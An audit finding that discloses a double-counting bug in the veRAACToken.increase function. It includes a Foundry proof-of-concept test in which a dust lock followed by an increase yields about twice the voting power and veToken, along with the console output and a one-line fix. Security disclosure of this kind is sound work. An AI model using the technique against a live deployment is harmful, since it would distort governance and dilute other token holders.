Summary
Incorrect bias update in veRAACToken.increase
method allows a malicious user receive more voting power and veToken than deserved by locking and then increasing.
Vulnerability Details
Root Cause Analysis
Users can lock raacToken for voting power and veRAACToken.
veRAACToken minted amount represents initial voting power, and it is calculated as the following ref:
power = lockAmount * duration / MAX_LOCK_DURATION
However, when users increase their position, total lock amount is calculated incorrectly:
@> _lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
@> userLock.amount + amount,
userLock.end
);
As we can see in the comment, userLock.amount
is already incremented by increased amount. But increased amount is added to userLock.amount
again when calculating new bias.
So the following thing happens on increase:
newBias = (existingLockAmount + increasedAmount * 2) * duration / MAX_LOCK_DURATION
This means that, for given raacToken amount, if you keep existingLockAmount
to almost zero, and keep increasedAmount
to total raacToken amount you have, you will mint almost double veToken and voting power.
Consider the following scenario:
Eve has 100 raacToken
Eve locks dust amount 1e-18
raccToken to create an initial position
Eve immediately increases the position by locking the rest of raacToken
Eve will receive around 200 veToken and 200 voting power
POC
Scenario
POC scenario is similar to the one in the Vulnerability Details section.
To illustrate the vulnerabilty more clearly, POC has two actors: alice and eve
How to run the POC
pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {veRAACToken} from "../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
contract veRAACTokenTest is Test {
RAACToken raacToken;
veRAACToken veToken;
address alice = makeAddr("alice");
address eve = makeAddr("eve");
uint256 raacTokenAmount = 100e18;
function setUp() external {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new veRAACToken(address(raacToken));
veToken.setMinter(address(this));
}
function testLockAndIncrease() external {
_userLocks(alice, raacTokenAmount, veToken.MAX_LOCK_DURATION());
emit log_named_decimal_uint("alice voting power", veToken.getVotingPower(alice), 18);
emit log_named_decimal_uint("alice veToken balance", veToken.balanceOf(alice), 18);
_userLocks(eve, 1, veToken.MAX_LOCK_DURATION());
_userIncreases(eve, raacTokenAmount - 1);
emit log_named_decimal_uint("eve voting power", veToken.getVotingPower(eve), 18);
emit log_named_decimal_uint("eve veToken balance", veToken.balanceOf(eve), 18);
assertGt(veToken.getVotingPower(eve), veToken.getVotingPower(alice));
assertGt(veToken.balanceOf(eve), veToken.balanceOf(alice));
}
function _userLocks(address user, uint256 amount, uint256 duration) internal {
raacToken.mint(user, amount);
vm.startPrank(user);
raacToken.approve(address(veToken), amount);
veToken.lock(amount, duration);
vm.stopPrank();
}
function _userIncreases(address user, uint256 amount) internal {
raacToken.mint(user, amount);
vm.startPrank(user);
raacToken.approve(address(veToken), amount);
veToken.increase(amount);
vm.stopPrank();
}
}
Console Output
[PASS] testLockAndIncrease() (gas: 907293)
Logs:
alice voting power: 100.000000000000000000
alice veToken balance: 100.000000000000000000
eve voting power: 199.999999999999999999
eve veToken balance: 199.999999999999999999
Impact
Attackers can have double voting power and veToken balance for given fund
Increase-and-extend will grant more power and veToken than extend-and-increase, because increase-and-extend will inflate incresed amount by multiple of extended duration
Tools Used
Manaual Review, Foundry
Recommendations
The following diff will solve the problem:
@@ -257,7 +257,7 @@ contract veRAACToken is ERC20, Ownable, ReentrancyGuard, IveRAACToken {
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
- userLock.amount + amount,
+ userLock.amount,
userLock.end
);